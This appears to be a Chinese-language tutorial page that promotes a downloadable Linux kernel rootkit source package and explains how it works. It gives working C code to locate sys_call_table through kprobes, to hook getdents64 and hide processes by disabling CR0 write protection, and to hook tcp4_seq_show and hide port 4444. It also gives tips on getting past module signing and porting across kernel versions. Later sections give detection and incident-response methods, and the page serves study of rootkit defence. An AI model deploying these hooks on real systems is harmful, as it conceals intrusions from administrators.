
简介这是一份面向Linux内核安全初学者与系统编程爱好者的rootkit源码学习资料聚焦内核模块隐藏、进程隐藏等基础功能的实现原理适合用于理解内核态代码如何与用户态工具配合完成隐蔽操作。压缩包共46个文件约36KB以C源码与头文件为核心辅以Makefile构建脚本、Python编写的控制端脚本、README说明文档及LaTeX论文素材另含Git版本管理相关文件整体结构紧凑便于按模块阅读与编译实验。目前已有369人学习关注说明该方向具备一定受众基础。读者可从中获取可编译运行的模块源码、隐藏功能的实现思路、构建与加载流程以及配套的命令行控制脚本适合作为内核安全入门练手项目也可在此基础上扩展更多隐藏能力加深对Linux内核机制与安全对抗的理解。1. Linux rootkit 源码到底在写什么从一次应急排查说起一台跑了三年的边缘节点CPU 占用常年 3% 以下某天突然稳定在 12% 左右top里却找不到对应进程。lsmod输出干净ps aux也没有可疑条目但netstat -antp里有个 ESTABLISHED 连接指向一个陌生 IPlsof查不到归属。这种「看得见现象、找不到主体」的状态基本就是内核态 rootkit 的典型表现。Linux rootkit 源码讲的就是这类通过可加载内核模块LKM或内核补丁劫持系统调用、隐藏进程与文件、维持持久化访问的底层代码。它属于内核安全与应急响应领域适合做主机入侵检测、内核模块审计、EDR 对抗研究的工程师。理解它的实现不是为了写攻击工具而是为了在排查时知道该看哪里、哪些命令的输出可能已经被篡改。2. 内核模块劫持系统调用的最小实现路径2.1 为什么 rootkit 偏爱 LKM 而不是直接改内核Linux 内核支持动态加载模块insmod一个.ko文件就能把代码注入内核空间不需要重新编译整个内核也不需要重启。这是 rootkit 最常用的载体。直接修改内核源码再编译动静太大目标机器上还得有对应的内核头文件实战中不现实。LKM 的优势在于编译依赖linux-headers-$(uname -r)目标机器上大概率已经装了加载后运行在内核态权限最高卸载后痕迹相对容易清理。但 LKM 也有硬伤。内核 5.7 之后kallsyms_lookup_name不再导出给模块使用很多老 rootkit 源码直接卡在这一步。常见做法是改用 kprobe 动态获取符号地址或者遍历sys_call_table所在的内存页。另一个问题是内核模块签名主流发行版默认开启CONFIG_MODULE_SIG_FORCE未签名的模块直接拒绝加载。所以研究 rootkit 源码第一步不是看它怎么隐藏而是看它怎么绕过加载限制。2.2 获取 sys_call_table 地址的三种可行方式sys_call_table是系统调用分发表劫持它就能替换任意系统调用的行为。但这个符号在kallsyms里默认不可见需要想办法拿到地址。第一种kprobe 方式适用于内核 5.7 以上#include linux/kprobes.h #include linux/module.h static struct kprobe kp { .symbol_name kallsyms_lookup_name }; static unsigned long (*kln)(const char *name); static int __init get_sct_init(void) { unsigned long *sct; int ret; ret register_kprobe(kp); if (ret 0) { pr_err(register_kprobe failed: %d\n, ret); return ret; } kln (void *)kp.addr; unregister_kprobe(kp); sct (unsigned long *)kln(sys_call_table); if (!sct) { pr_err(sys_call_table not found\n); return -ENOENT; } pr_info(sys_call_table at %px\n, sct); return 0; }register_kprobe把探针挂到kallsyms_lookup_name上kp.addr就是该函数的实际地址。拿到地址后直接调用就能查任意符号。注意kallsyms_lookup_name本身可能被内联某些内核版本上 kprobe 会失败这时需要换用kallsyms_on_each_symbol遍历。第二种暴力扫描内核内存。sys_call_table的特征是连续存放的指针数组每个元素指向__x64_sys_*函数。从0xffffffff80000000开始按页扫描找满足「连续多个元素都落在内核代码段」的地址。这种方式慢但通用缺点是可能误判需要加校验。第三种从/proc/kallsyms读。如果kptr_restrict为 0 且当前用户有权限直接cat /proc/kallsyms | grep sys_call_table就能看到。但生产环境通常kptr_restrict1普通用户看到的是全零。这种方式只适合在实验环境快速验证。2.3 劫持一个系统调用的完整代码骨架拿到sys_call_table后替换表项就是核心操作。以隐藏进程为例通常劫持sys_getdents64或sys_kill。下面是一个最小骨架#include linux/module.h #include linux/kernel.h #include linux/syscalls.h #include linux/dirent.h #include linux/uaccess.h static unsigned long *sct; static asmlinkage long (*orig_getdents64)(const struct pt_regs *); static asmlinkage long hook_getdents64(const struct pt_regs *regs) { long ret orig_getdents64(regs); struct linux_dirent64 __user *dirp; struct linux_dirent64 *kbuf, *cur; unsigned long offset 0; int fd regs-di; unsigned int count regs-si; if (ret 0) return ret; dirp (struct linux_dirent64 __user *)regs-si; kbuf kzalloc(ret, GFP_KERNEL); if (!kbuf) return ret; if (copy_from_user(kbuf, dirp, ret)) { kfree(kbuf); return ret; } cur kbuf; while (offset ret) { if (strstr(cur-d_name, hidden_proc)) { unsigned long reclen cur-d_reclen; memmove(cur, (char *)cur reclen, ret - offset - reclen); ret - reclen; continue; } offset cur-d_reclen; cur (struct linux_dirent64 *)((char *)kbuf offset); } if (copy_to_user(dirp, kbuf, ret)) ret -EFAULT; kfree(kbuf); return ret; } static int __init hook_init(void) { sct (unsigned long *)kallsyms_lookup_name(sys_call_table); if (!sct) return -ENOENT; orig_getdents64 (void *)sct[__NR_getdents64]; write_cr0(read_cr0() ~0x10000); // 关闭写保护 sct[__NR_getdents64] (unsigned long)hook_getdents64; write_cr0(read_cr0() | 0x10000); // 恢复写保护 return 0; } static void __exit hook_exit(void) { write_cr0(read_cr0() ~0x10000); sct[__NR_getdents64] (unsigned long)orig_getdents64; write_cr0(read_cr0() | 0x10000); } module_init(hook_init); module_exit(hook_exit); MODULE_LICENSE(GPL);write_cr0操作的是控制寄存器 CR0 的 WP 位第 16 位清零后内核允许写只读页。这是老方法内核 5.3 之后write_cr0被加固直接调用会触发警告甚至 panic。新做法是用set_memory_rw把sys_call_table所在页临时改为可写改完再set_memory_ro恢复。参数上__NR_getdents64是系统调用号x86_64 上是 217ARM64 上不同交叉编译时要用目标架构的头文件。hook_getdents64的逻辑是先调用原始函数拿到目录项拷贝到内核缓冲区遍历每个linux_dirent64发现名字匹配就memmove覆盖掉减少返回长度。这里有个坑d_reclen是变长的不能假设固定大小必须按每个条目自己的d_reclen推进。3. 隐藏进程、文件与端口的三种落地手法3.1 进程隐藏getdents64 与 kill 双路径只劫持getdents64能骗过ls、ps但骗不过kill。如果 rootkit 隐藏的进程还在跑用户kill -9 pid时sys_kill会检查 pid 是否存在如果进程被隐藏但 pid 还在kill会返回成功但实际没杀到或者返回 ESRCH。更彻底的做法是同时劫持sys_kill对特定 pid 返回-ESRCH让用户以为进程不存在。还有一种路径是劫持/proc的 inode 操作。/proc/pid目录的生成依赖proc_pid_readdir直接 hook 这个函数比 hookgetdents64更底层但兼容性差内核版本一变就崩。实战中getdents64方案最稳因为它的接口几十年没变。3.2 文件隐藏filldir 与 getdents 的取舍老内核用filldir回调新内核统一到getdents64。文件隐藏和进程隐藏代码结构几乎一样区别在于匹配的目录路径。通常只隐藏特定目录下的文件比如/etc/下的某个配置文件或者/tmp/下的载荷。匹配时要注意d_name是相对路径不含目录前缀所以需要先判断当前遍历的是哪个目录。可以在 hook 里通过current-fs-pwd或者传入的 fd 反查路径但开销大。简单做法是只匹配文件名不管目录缺点是可能误隐藏同名文件。3.3 端口隐藏hook tcp4_seq_shownetstat和ss读的是/proc/net/tcp这个文件由tcp4_seq_show生成。劫持这个函数在输出前过滤掉特定端口就能让端口在netstat里消失。实现上不是替换sys_call_table而是替换seq_operations结构里的show指针static struct seq_operations *tcp4_seq_ops; static int (*orig_tcp4_seq_show)(struct seq_file *, void *); static int hook_tcp4_seq_show(struct seq_file *seq, void *v) { struct inet_sock *isk; struct sock *sk v; if (v SEQ_START_TOKEN) return orig_tcp4_seq_show(seq, v); isk inet_sk(sk); if (ntohs(isk-inet_sport) 4444 || ntohs(isk-inet_dport) 4444) return 0; return orig_tcp4_seq_show(seq, v); }tcp4_seq_ops的地址通过kallsyms_lookup_name获取然后替换show字段。注意v可能是SEQ_START_TOKEN这是 seq_file 的起始标记必须放行否则整个文件读不出来。端口比较用ntohs转成主机字节序因为内核里存的是网络字节序。4. 编译、加载与排查rootkit 源码的避坑清单4.1 模块编译报错的五个高频原因现象make报error: implicit declaration of function kallsyms_lookup_name。原因内核 5.7 之后该符号不再导出。解决改用 kprobe 获取或降级到 5.4 内核做实验。现象insmod报Unknown symbol in module。原因模块依赖的符号在当前内核未导出。解决modinfo xxx.ko看依赖cat /proc/kallsyms | grep 符号确认是否存在。现象insmod报Operation not permitted。原因模块签名强制开启或 Secure Boot 拦截。解决实验环境关闭 Secure Boot或mokutil --disable-validation生产环境不要动。现象加载后系统卡死或 panic。原因write_cr0触发 WP 保护或 hook 函数里访问了非法地址。解决改用set_memory_rwhook 里所有用户态指针必须copy_from_user。现象rmmod报Module is in use。原因hook 后没恢复原函数指针或模块引用计数没减。解决exit函数里严格按加载逆序恢复module_put配对。4.2 排查被 rootkit 篡改的系统命令怀疑机器被植入 rootkit 时不要信目标机上的ps、ls、netstat它们可能已经被 hook。用静态编译的工具从外部挂载排查# 在干净机器上静态编译 busybox wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2 tar xf busybox-1.36.1.tar.bz2 cd busybox-1.36.1 make defconfig sed -i s/^# CONFIG_STATIC.*/CONFIG_STATICy/ .config make -j$(nproc) # 把 busybox 拷到目标机 /tmp 下运行 ./busybox ps aux ./busybox netstat -antp静态 busybox 不依赖目标机的 libc也不走被 hook 的 glibc 封装能绕过一部分用户态劫持。但内核态的getdents64hook 它照样中招因为系统调用层被改了。更可靠的是从/proc直接读原始数据或者用crash工具分析内存转储。另一个手段是对比/proc/kallsyms和模块列表。lsmod可能被 hook 隐藏模块直接读/sys/module/目录ls /sys/module/ | while read m; do if [ ! -d /sys/module/$m/sections ]; then echo suspicious: $m fi done正常模块在/sys/module/name/sections下有节区信息rootkit 模块如果没正确初始化这里可能是空的。4.3 内核版本与 API 兼容性对照内核版本kallsyms_lookup_namewrite_cr0sys_call_table 获取4.x导出可用直接调用5.0-5.6导出可用直接调用5.7-5.15不导出加固kprobe 或扫描6.x不导出不可用kprobe set_memory_rw这张表是血泪经验跨版本移植 rootkit 源码时第一个要看的就是它。很多网上流传的代码是 4.x 时代的直接拿到 6.x 上编译报错能堆满一屏。5. 从源码研究到检测把攻击手法变成防御规则研究 rootkit 源码的最终价值是知道怎么检测它。上面讲的每种隐藏手法都有对应的检测思路。进程隐藏检测对比/proc目录数量和ps输出数量。ls /proc | grep -E ^[0-9]$ | wc -l得到的是内核实际存在的进程数ps aux | wc -l得到的是用户态看到的。两者差超过阈值就有问题。更精确的是读/proc/pid/stat的starttime字段和ps输出的启动时间对比被隐藏的进程在/proc里还在只是ps不显示。系统调用表完整性检测在干净内核上记录sys_call_table每个表项的地址范围运行时定期校验。如果某个表项指向的地址不在内核代码段0xffffffff81000000到0xffffffffc0000000之间说明被替换了。这个检查可以做成内核模块也可以从/dev/kmem读如果可用。模块列表交叉验证lsmod读的是/proc/modulesrootkit 可以 hook 这个文件。直接遍历/sys/module/目录对比两者差异。另外检查每个模块的holders和initstate异常模块的initstate可能是live但holders为空。一个我自己的习惯在每台生产机器上部署前先跑一遍strace -f -e tracegetdents64 ls /记录正常的系统调用序列。之后定期对比如果getdents64的返回条目数突然减少或者openat打开的文件在getdents64里看不到就触发告警。这个方法笨但能抓到大部分基于目录项过滤的隐藏手法。内核 rootkit 的攻防本质是信息差攻击者知道哪些接口被 hook 了防御者不知道。把源码读一遍把每个 hook 点对应的检测方法记下来这个信息差就抹平了。希望帮到你。本文还有配套的精品资源点击获取